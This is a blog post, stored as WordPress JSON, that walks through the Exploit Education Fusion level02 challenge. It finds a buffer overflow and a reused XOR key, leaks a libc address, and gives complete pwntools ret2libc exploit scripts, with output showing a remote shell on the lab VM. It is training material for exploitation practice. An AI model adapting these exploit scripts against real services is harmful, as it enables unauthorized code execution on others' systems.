{"id":1284,"date":"2020-02-25T16:02:21","date_gmt":"2020-02-25T21:02:21","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=1284"},"modified":"2020-03-03T10:00:03","modified_gmt":"2020-03-03T15:00:03","slug":"exploit-education-fusion-level-02-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-fusion-level-02-solution\/","title":{"rendered":"Exploit Education | Fusion | Level 02 Solution"},"content":{"rendered":"<p>This level deals with some basic obfuscation \/ math stuff.<\/p>\n<p>This level introduces non-executable memory and return into libc \/ .text \/ return orientated programming (ROP).<\/p>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/fusion\/level02\/\">http:\/\/exploit.education\/fusion\/level02\/<\/a><\/p>\n<h1>Source Code Analysis<\/h1>\n<p>For this level, I looked at the source code and came up with a plan of attack before even launching the Fusion VM. Let&#8217;s step through it. I won&#8217;t bother with <code>main()<\/code> as it&#8217;s only relevant purpose is to call the <code>encrypt_file()<\/code> function. That function may look kinda long, but it&#8217;s actually pretty simple.<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">void encrypt_file() {\r\n  \/\/ http:\/\/thedailywtf.com\/Articles\/Extensible-XML.aspx\r\n  \/\/ maybe make bigger for inevitable xml-in-xml-in-xml ?\r\n  unsigned char buffer&#x5B;32 * 4096];\r\n\r\n  unsigned char op;\r\n  size_t sz;\r\n  int loop;\r\n\r\n  printf(&quot;&#x5B;-- Enterprise configuration file encryption service --]\\n&quot;);\r\n  \r\n  loop = 1;\r\n  while(loop) {\r\n      nread(0, &amp;op, sizeof(op));\r\n      switch(op) {\r\n          case 'E':\r\n              nread(0, &amp;sz, sizeof(sz));\r\n              nread(0, buffer, sz);\r\n              cipher(buffer, sz);\r\n              printf(&quot;&#x5B;-- encryption complete. please mention &quot;\r\n              &quot;474bd3ad-c65b-47ab-b041-602047ab8792 to support &quot;\r\n              &quot;staff to retrieve your file --]\\n&quot;);\r\n              nwrite(1, &amp;sz, sizeof(sz));\r\n              nwrite(1, buffer, sz);\r\n              break;\r\n          case 'Q':\r\n              loop = 0;\r\n              break;\r\n          default:\r\n              exit(EXIT_FAILURE);\r\n      }\r\n  }\r\n}<\/pre>\n<p>I&#8217;m not sure why those comments at the start of the function are there, they don&#8217;t seem to be very relevant. Anyway, a few things are happening:<\/p>\n<ul>\n<li>Several variables are initialized (buffer, op, sz, and loop).<\/li>\n<li>A greeting message is printed.<\/li>\n<li>A while loop begins checking the condition of the &#8220;loop&#8221; variable (only loops if it&#8217;s not 0).<\/li>\n<li>User input is accepted for the &#8220;<u>op<\/u>eration&#8221; variable.<\/li>\n<li>If that input was &#8220;E&#8221; then:<\/li>\n<ul>\n<li>Accept user input for the &#8220;sz&#8221; variable. This sets the size limit for the data to be encrypted.<\/li>\n<li>Accept user input for the &#8220;buffer&#8221; variable. This will be the data we want encrypted.<\/li>\n<li>Call the <code>cipher()<\/code> function.\n<li>Print a message when the encryption is complete.<\/li>\n<li>Write the size to stdout.<\/li>\n<li>Write the encrypted data to stdout.<\/li>\n<\/ul>\n<li>If &#8220;Q&#8221; or anything else is entered for the &#8220;op&#8221; then exit.<\/li>\n<\/ul>\n<p>You may have noticed the vulnerability here. The user can specify the maximum size of the input. Even though there&#8217;s 131,072 bytes (32 * 4096) allocated to the &#8220;buffer&#8221; variable, it doesn&#8217;t matter as the user can simply specify a higher number.<\/p>\n<p>The <code>cipher()<\/code> function is a bit more complex, even though it&#8217;s not a proper encryption algorithm.<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">void cipher(unsigned char *blah, size_t len) {\r\n  static int keyed;\r\n  static unsigned int keybuf&#x5B;XORSZ];\r\n\r\n  int blocks;\r\n  unsigned int *blahi, j;\r\n\r\n  if(keyed == 0) {\r\n      int fd;\r\n      fd = open(&quot;\/dev\/urandom&quot;, O_RDONLY);\r\n      if(read(fd, &amp;keybuf, sizeof(keybuf)) != sizeof(keybuf))\r\n        exit(EXIT_FAILURE);\r\n      close(fd);\r\n      keyed = 1;\r\n  }\r\n\r\n  blahi = (unsigned int *)(blah);\r\n  blocks = (len \/ 4);\r\n  if(len &amp; 3) blocks += 1;\r\n\r\n  for(j = 0; j &lt; blocks; j++) {\r\n      blahi&#x5B;j] ^= keybuf&#x5B;j % XORSZ];\r\n  }\r\n}<\/pre>\n<ul>\n<li>Variables are declared (blah, len, keyed, keybuf, blocks, blahi, j).<\/li>\n<li>If the &#8220;keyed&#8221; variable is not equal to 0, then do the following:<\/li>\n<ul>\n<li>Open the &#8220;\/dev\/urandom&#8221; file.<\/li>\n<li>Read 32 bytes (<code>sizeof(keybuf)<\/code>) from &#8220;\/dev\/urandom&#8221; into the &#8220;keybuf&#8221; variable<\/li>\n<li>Set the &#8220;keyed&#8221; variable to 1.\n  <\/ul>\n<li>Set &#8220;blahi&#8221; (an unsigned int pointer) to point to &#8220;blah&#8221; (the data to encrypt)<\/li>\n<li>Set the &#8220;blocks&#8221; variable to be the user-supplied length (&#8220;len&#8221; variable) divided by 4.<\/li>\n<li>If the &#8220;len&#8221; variable is not divisible by 4, then add 1 to the &#8220;blocks&#8221; variable.<\/li>\n<li>A for loop that performs the encryption, 4 bytes at a time (keybuf &#038; blahi are unsigned ints).<\/li>\n<ul>\n<li>This encryption &#8220;algorithm&#8221; will simply XOR the data with whatever is in &#8220;keybuf&#8221;<\/li>\n<\/ul>\n<\/ul>\n<p>While there is the obvious buffer overflow vulnerability, the problem is that whatever data you send will be XOR&#8217;ed with a random key. After looking at the source code for a while, I did spot one more mistake. If the <code>cipher()<\/code> function is called multiple time, the &#8220;keybuf&#8221; variable will be the same each time. The &#8220;keyed&#8221; variable is declared but not initialized and it should occupy the same memory address each time. So, I should be able to send data, take the encrypted form, XOR the two together and get the key. Then, I can overwrite the saved EIP value with an &#8220;encrypted&#8221; address so that when the encryption happens on it, the desired &#8220;unencrypted&#8221; address will be left.<\/p>\n<h1>Interacting With The Program<\/h1>\n<p>The next step is to figure out how the program was intended to be used. This was a bit harder than I expected and couldn&#8217;t get it to work by simply using netcat and manually entering the expected input. One reason for this is that the &#8220;sz&#8221; (size) variable it&#8217;s expecting is a 4-byte integer. If I supplied &#8220;58&#8221; as input, it looks at that as &#8220;\\x38\\x35&#8221; (little-endian). What I need to send it, is &#8220;\\x3a\\x00\\x00\\x00&#8221;. That, coupled with figuring out where it wanted a newline character, made this a tedious task of trial-and-error. I suppose it wouldn&#8217;t have taken so long if I understood the C language a bit better, but such is life. Anyway, here&#8217;s a script I came up with to interact with the program in it&#8217;s intended fashion:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\n\r\nio = remote(&quot;fusion&quot;, 20002)\r\n\r\ndata = &quot;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&quot;\r\nprint(io.recvline().decode())\r\nio.send(&quot;E&quot;)\r\nio.send((len(data)).to_bytes(4, &quot;little&quot;))\r\nio.send(data)\r\n\r\nprint(io.recvline().decode())\r\nsize = int.from_bytes(io.recv(4), 'little')\r\nencrypted = b&quot;&quot;\r\nwhile len(encrypted) &lt; size:\r\n    encrypted += io.recv(size)\r\n\r\nlog.info(f&quot;Size = {size}&quot;)\r\nlog.info(&quot;Encrypted message:&quot;)\r\nprint(encrypted)\r\nprint()\r\nio.close()\r\n<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level02 $ .\/level02_test.py \r\n&#x5B;+] Opening connection to fusion on port 20002: Done\r\n&#x5B;-- Enterprise configuration file encryption service --]\r\n\r\n&#x5B;-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\r\n\r\n&#x5B;*] Size = 56\r\n&#x5B;*] Encrypted message:\r\nb&quot;\\x8b\\xc7\\x86\\xfe.\\x17\\xb0\\xd1\\x04\\xdb&amp;\\x10%n\\xa6Bg_`\\xce\\xa7\\x14\\x9c \\xce\\x82\\x93\\x14\\xef\\xc7.M\\xa3\\xd7{d'\\xef\\xb7\\xa2\\x0e\\xce\\xa3\\xb5\\x90\\xd4\\xf5.j\\x15&#x5B;\\x9d\\nH\\x18z&quot;\r\n\r\n&#x5B;*] Closed connection to fusion port 20002\r\n<\/pre>\n<p>Now that I&#8217;ve got that working, I&#8217;ll start building out the attack. I&#8217;ll use a &#8220;ret2libc&#8221; technique to bypass both ASLR and NX protections.<\/p>\n<h1>Cheating<\/h1>\n<p>I like to build my exploits (or any script I write) and test them incrementally so that if something goes wrong, I&#8217;ll have a better idea of what the problem was. First, I&#8217;ll write the exploit pretending that ASLR is not enabled. I plan to create a ROP chain that calls <code>system()<\/code> with a &#8220;\/bin\/sh&#8221; string passed to it. Normally, with ASLR enabled, the address of <code>system()<\/code> would be randomized (along with everything else in libc) and you&#8217;d have no way of knowing it when attacking a remote machine. In this case, I know that the parent process for &#8220;level02&#8221; is not restarted each time a connection is made &#038; closed. This means that I can attach to the process with GDB, print the address of <code>system()<\/code>, and use that in my ROP chain knowing that it won&#8217;t change (until I restart the VM or the parent process).<\/p>\n<p>Getting the address of <code>system()<\/code>:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion ~ $ ps aux | grep level02\r\n20002     1201  0.0  0.0   1816    52 ?        Ss   05:44   0:00 \/opt\/fusion\/bin\/level02\r\nfusion    1463  0.0  0.0   4184   796 pts\/0    S+   05:45   0:00 grep --color=auto level02\r\n\r\nfusion@fusion ~ $ sudo gdb -q -p 1201\r\n&#x5B;sudo] password for fusion:\r\nwarning: not using untrusted file &quot;\/home\/fusion\/.gdbinit&quot;\r\nAttaching to process 1201\r\nReading symbols from \/opt\/fusion\/bin\/level02...done.\r\nReading symbols from \/lib\/i386-linux-gnu\/libc.so.6...Reading symbols from \/usr\/lib\/debug\/lib\/i386-linux-gnu\/libc-2.13.so...done.\r\ndone.\r\nLoaded symbols for \/lib\/i386-linux-gnu\/libc.so.6\r\nReading symbols from \/lib\/ld-linux.so.2...(no debugging symbols found)...done.\r\nLoaded symbols for \/lib\/ld-linux.so.2\r\n0xb77cb424 in __kernel_vsyscall ()\r\n\r\n(gdb) p system\r\n$1 = {&lt;text variable, no debug info&gt;} 0xb767fb20 &lt;__libc_system&gt;\r\n\r\n(gdb) p exit\r\n$2 = {&lt;text variable, no debug info&gt;} 0xb76759e0 &lt;__GI_exit&gt;\r\n\r\n(gdb) find 0xb767fb20, +9999999, &quot;\/bin\/sh&quot;\r\n0xb777b8da\r\nwarning: Unable to access target memory at 0xb77bdf62, halting search.\r\n1 pattern found.\r\n<\/pre>\n<p>I also grabbed the address of <code>exit()<\/code> so the program will cleanly exit when I close the shell. It&#8217;s not necessary here, but why not create good habits? I also did a search for a &#8220;\/bin\/sh&#8221; string starting at the address of <code>system()<\/code>. This will also be randomized but I can just hard-code it into my script for now.<\/p>\n<p>Here&#8217;s the &#8220;cheat&#8221; exploit:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\n\r\n\r\ndef encrypt(data):\r\n    io.send(&quot;E&quot;)\r\n    io.send((len(data)).to_bytes(4, &quot;little&quot;))\r\n    io.send(data)\r\n\r\n    print(io.recvline().decode())\r\n    size = int.from_bytes(io.recv(4), 'little')\r\n    encrypted = b&quot;&quot;\r\n    while len(encrypted) &lt; size:\r\n        encrypted += io.recv(size)\r\n\r\n    return encrypted\r\n\r\n\r\nio = remote(&quot;fusion&quot;, 20002)\r\nprint(io.recvline().decode())\r\n\r\ndata = &quot;A&quot; * 128\r\nencrypted = encrypt(data)\r\nkey = bytes(a ^ b for a, b in zip(data.encode(), encrypted))\r\n\r\npayload  = b&quot;A&quot; * 131088\r\npayload += p32(0xb767fb20)  # Address of system()\r\npayload += p32(0xb76759e0)  # Address of exit()\r\npayload += p32(0xb777b8da)  # Address of &quot;\/bin\/sh&quot;\r\n\r\nenc_data = b&quot;&quot;\r\nfor i in range(0, len(payload), len(key)):\r\n    enc_data += bytes(a ^ b for a, b in zip(payload&#x5B;i:i+len(key)], key))\r\n\r\nencrypt(enc_data)\r\n\r\nio.send(&quot;Q&quot;)\r\nio.interactive()\r\n<\/pre>\n<p>At this point, I shouldn&#8217;t have to explain how to find the offset of the saved return address (the 131088 number). You can see that I have the 3 addresses in my ROP chain. The address for <code>exit()<\/code> comes after <code>system()<\/code> so that when <code>system()<\/code> hits <code>ret<\/code>, it&#8217;ll pop the address for <code>exit()<\/code> into EIP and cleanly exit the program. The address for the &#8220;\/bin\/sh&#8221; string is last because <code>system()<\/code> will look to ESP+4 for an argument.<\/p>\n<p>Testing it out:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level02 $ .\/level02_system.py \r\n&#x5B;+] Opening connection to fusion on port 20002: Done\r\n&#x5B;-- Enterprise configuration file encryption service --]\r\n\r\n&#x5B;-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\r\n\r\n&#x5B;-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\r\n\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=20002 gid=20002 groups=20002\r\n<\/pre>\n<h1>Leaking Libc Address<\/h1>\n<p>The next step is to figure out how to get base address of libc. I used this blog post by <a href=\"https:\/\/twitter.com\/d4mianwayne\">@D4mianWayne<\/a> to get a better understanding of ret2libc attacks and leaking the libc address:<br \/>\n<a href=\"https:\/\/d4mianwayne.github.io\/posts\/ret2libc-pwntools\">https:\/\/d4mianwayne.github.io\/posts\/ret2libc-pwntools<\/a><\/p>\n<p>That post explains, exactly, what I&#8217;ll need to do for this challenge with the only difference being the architecture. That post uses an x64 binary so function arguments are passed in registers instead of the stack.<\/p>\n<p>The idea here is to overwrite the saved return address on the stack with the address of <code>puts@plt<\/code> while passing a single argument to that &#8220;call,&#8221; the address of <code>puts@got<\/code>. After you send that payload, you&#8217;ll receive some unpacked addresses, the first of which should be the address of <code>puts()<\/code>. You can use that to calculate the base address of libc. Looking at the symbols in libc, you can find the offset to <code>puts()<\/code> and subtract that from the actual address that was leaked. This gives you libc&#8217;s base address, from which you can calculate the actual address of any other function. Just find the offset and add that to the base address.<\/p>\n<p>First, I&#8217;ll get the PLT and GOT addresses for <code>puts()<\/code> in the level02 binary:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion ~ $ objdump -d \/opt\/fusion\/bin\/level02 | grep -A1 puts\r\n08048930 &lt;puts@plt&gt;:\r\n 8048930:       ff 25 b8 b3 04 08       jmp    *0x804b3b8\r\n...\r\n<\/pre>\n<p>This shows that the PLT address is 0x8048930 and GOT address is 0x804b3b8.<\/p>\n<p>Now I&#8217;ll need to find the <code>puts()<\/code> offset within libc. To determine which libc binary is being used by this process, I can attach to it with GDB again:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion ~ $ sudo gdb -q -p 1201\r\n&#x5B;sudo] password for fusion: \r\nwarning: not using untrusted file &quot;\/home\/fusion\/.gdbinit&quot;\r\nAttaching to process 1201\r\nReading symbols from \/opt\/fusion\/bin\/level02...done.\r\nReading symbols from \/lib\/i386-linux-gnu\/libc.so.6...Reading symbols from \/usr\/lib\/debug\/lib\/i386-linux-gnu\/libc-2.13.so...done.\r\ndone.\r\nLoaded symbols for \/lib\/i386-linux-gnu\/libc.so.6\r\nReading symbols from \/lib\/ld-linux.so.2...(no debugging symbols found)...done.\r\nLoaded symbols for \/lib\/ld-linux.so.2\r\n0xb77cb424 in __kernel_vsyscall ()\r\n\r\n(gdb) info sharedlibrary \r\nFrom        To          Syms Read   Shared Object Library\r\n0xb7659be0  0xb7766784  Yes         \/lib\/i386-linux-gnu\/libc.so.6\r\n0xb77cc830  0xb77e35cf  Yes (*)     \/lib\/ld-linux.so.2\r\n(*): Shared library is missing debugging information.\r\n<\/pre>\n<p>While I&#8217;m here, I&#8217;m going to get the actual <code>puts()<\/code> address so I can verify my results later on:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n(gdb) p puts\r\n$1 = {&lt;text variable, no debug info&gt;} 0xb76a33b0 &lt;_IO_puts&gt;\r\n<\/pre>\n<p>To get the offset of <code>puts()<\/code>, I can use <code>readelf<\/code> to list the symbols in libc and grep for &#8220;puts&#8221;:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion ~ $ readelf -s \/lib\/i386-linux-gnu\/libc.so.6 | grep &quot; puts@&quot;\r\n   423: 000603b0   444 FUNC    WEAK   DEFAULT   12 puts@@GLIBC_2.0\r\n<\/pre>\n<p>Now I need to modify my Python script to capture the address:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\n\r\nio = remote(&quot;fusion&quot;, 20002)\r\n\r\ndef encrypt(data):\r\n    io.send(&quot;E&quot;)\r\n    io.send((len(data)).to_bytes(4, &quot;little&quot;))\r\n    io.send(data)\r\n\r\n    print(io.recvline().decode())\r\n    size = int.from_bytes(io.recv(4), 'little')\r\n    encrypted = b&quot;&quot;\r\n    while len(encrypted) &lt; size:\r\n        encrypted += io.recv(size)\r\n\r\n    return encrypted\r\n\r\n\r\nprint(io.recvline().decode())\r\n\r\ndata = &quot;A&quot; * 128\r\nencrypted = encrypt(data)\r\n\r\nsample = data&#x5B;:128].encode()\r\nkey = bytes(a ^ b for a, b in zip(sample, encrypted))\r\n\r\npayload  = b&quot;A&quot; * 131088\r\npayload += p32(0x08048930)  # Address of puts@plt\r\npayload += b&quot;AAAA&quot;\r\npayload += p32(0x0804b3b8)  # Address of puts@got\r\n\r\nenc_data = b&quot;&quot;\r\nfor i in range(0, len(payload), len(key)):\r\n    enc_data += bytes(a ^ b for a, b in zip(payload&#x5B;i:i+len(key)], key))\r\n\r\nencrypt(enc_data)\r\n\r\nio.send(&quot;Q&quot;)\r\nputs_offset = 0x603b0\r\nleak = u32(io.recv(4))\r\nlibc_base = leak - puts_offset\r\nlog.info(f&quot;Leaked puts() address: {hex(leak)}&quot;)\r\nlog.info(f&quot;Libc puts() offset:    {hex(puts_offset)}&quot;)\r\nlog.info(f&quot;Libc base address:     {hex(libc_base)}&quot;)\r\nprint()\r\nio.close()\r\n<\/pre>\n<p>Let&#8217;s run it:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level02 $ .\/level02_puts.py \r\n&#x5B;+] Opening connection to fusion on port 20002: Done\r\n&#x5B;-- Enterprise configuration file encryption service --]\r\n\r\n&#x5B;-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\r\n\r\n&#x5B;-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\r\n\r\n&#x5B;*] Leaked puts() address: 0xb76583b0\r\n&#x5B;*] Libc puts() offset:    0x603b0\r\n&#x5B;*] Libc base address:     0xb75f8000\r\n\r\n&#x5B;*] Closed connection to fusion port 20002\r\n<\/pre>\n<p>That leaked address (0xb76583b0) is the same as the one I got from GDB on the Fusion VM.<\/p>\n<h3>Side Note<\/h3>\n<p>What if I didn&#8217;t have access to the libc binary and didn&#8217;t know what version it was? Each version is bound to have different offsets from its base address. Well, after leaking the address of <code>puts()<\/code>, you could use a tool, like <a href=\"https:\/\/github.com\/niklasb\/libc-database\">libc-database<\/a>, to get the version of libc. For example, take the leaked <code>puts()<\/code> address (0xb76583b0) and do a search based on the last 3 digits:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/libc-database (master) $ .\/find puts 3b0\r\narchive-old-eglibc (id libc6_2.13-20ubuntu5_i386)\r\narchive-old-glibc (id libc6_2.5-0ubuntu14_amd64)\r\narchive-old-glibc (id libc6-amd64_2.5-0ubuntu14_i386)\r\n<\/pre>\n<p>Since I got multiple results, I could either leak another address and add it to the search, or just use trial and error in my exploit. However, I happen to know that the actual libc version used here is that first result.<\/p>\n<h1>Exploitation<\/h1>\n<p>I need a few more offset addresses to build this exploit. I&#8217;ll need the offset of <code>exit()<\/code> (to cleanly exit the program when the shell closes) and <code>system()<\/code>:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion ~ $ readelf -s \/lib\/i386-linux-gnu\/libc.so.6 | egrep &quot; system| exit&quot;\r\n   135: 000329e0    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0\r\n  1409: 0003cb20   139 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0\r\n<\/pre>\n<p>And I&#8217;ll need the string &#8220;\/bin\/sh&#8221; to be somewhere in memory. I <i>could<\/i> generate a rop chain to do this for me by using <code>strcpy()<\/code> to put certain bytes into a writable section (such as .bss). However, I know that the string I need is already in libc so I can find the offset to it using <code>strings<\/code>:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion ~ $ strings -atx \/lib\/i386-linux-gnu\/libc.so.6 | grep &quot;\/bin\/sh&quot;\r\n 1388da \/bin\/sh\r\n<\/pre>\n<p>Final exploit script:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\n\r\n\r\ndef encrypt(data):\r\n    io.send(&quot;E&quot;)\r\n    io.send((len(data)).to_bytes(4, &quot;little&quot;))\r\n    io.send(data)\r\n\r\n    print(io.recvline().decode())\r\n    size = int.from_bytes(io.recv(4), &quot;little&quot;)\r\n    encrypted = b&quot;&quot;\r\n    while len(encrypted) &lt; size:\r\n        encrypted += io.recv(size)\r\n\r\n    return encrypted\r\n\r\n\r\ndef get_key():\r\n    print(io.recvline().decode())\r\n    data = &quot;A&quot; * 128\r\n    encrypted = encrypt(data)\r\n    sample = data.encode()\r\n\r\n    return bytes(a ^ b for a, b in zip(sample, encrypted))\r\n\r\n\r\nio = remote(&quot;fusion&quot;, 20002)\r\nkey = get_key()\r\n\r\npayload  = b&quot;A&quot; * 131088\r\npayload += p32(0x08048930)  # Address of puts@plt\r\npayload += b&quot;AAAA&quot;\r\npayload += p32(0x0804b3b8)  # Address of puts@got\r\n\r\nenc_data = b&quot;&quot;\r\nfor i in range(0, len(payload), len(key)):\r\n    enc_data += bytes(a ^ b for a, b in zip(payload&#x5B;i:i+len(key)], key))\r\nencrypt(enc_data)\r\n\r\nio.send(&quot;Q&quot;)\r\nputs_offset = 0x603b0\r\nleak = u32(io.recv(4))\r\nlibc_base = leak - puts_offset\r\nio.close()\r\n\r\n# Now to get shell\r\nio = remote(&quot;fusion&quot;, 20002)\r\nkey = get_key()\r\n\r\nsystem_offset = 0x3cb20\r\nexit_offset   = 0x329e0\r\nbinsh_offset  = 0x1388da\r\n\r\npayload  = b&quot;A&quot; * 131088\r\npayload += p32(libc_base + system_offset)\r\npayload += p32(libc_base + exit_offset)\r\npayload += p32(libc_base + binsh_offset)\r\n\r\nenc_data = b&quot;&quot;\r\nfor i in range(0, len(payload), len(key)):\r\n    enc_data += bytes(a ^ b for a, b in zip(payload&#x5B;i:i+len(key)], key))\r\nencrypt(enc_data)\r\n\r\nio.send(&quot;Q&quot;)\r\nio.interactive()\r\n<\/pre>\n<p>Testing it out:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level02 $ .\/level02.py \r\n&#x5B;+] Opening connection to fusion on port 20002: Done\r\n&#x5B;-- Enterprise configuration file encryption service --]\r\n\r\n&#x5B;-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\r\n\r\n&#x5B;-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\r\n\r\n&#x5B;*] Closed connection to fusion port 20002\r\n&#x5B;+] Opening connection to fusion on port 20002: Done\r\n&#x5B;-- Enterprise configuration file encryption service --]\r\n\r\n&#x5B;-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\r\n\r\n&#x5B;-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\r\n\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=20002 gid=20002 groups=20002\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>This level deals with some basic obfuscation \/ math stuff. This level introduces non-executable memory and return into libc \/ .text \/ return orientated programming (ROP) &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-fusion-level-02-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Fusion | Level 02 Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1284","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1284","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=1284"}],"version-history":[{"count":46,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1284\/revisions"}],"predecessor-version":[{"id":1365,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1284\/revisions\/1365"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=1284"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=1284"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=1284"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}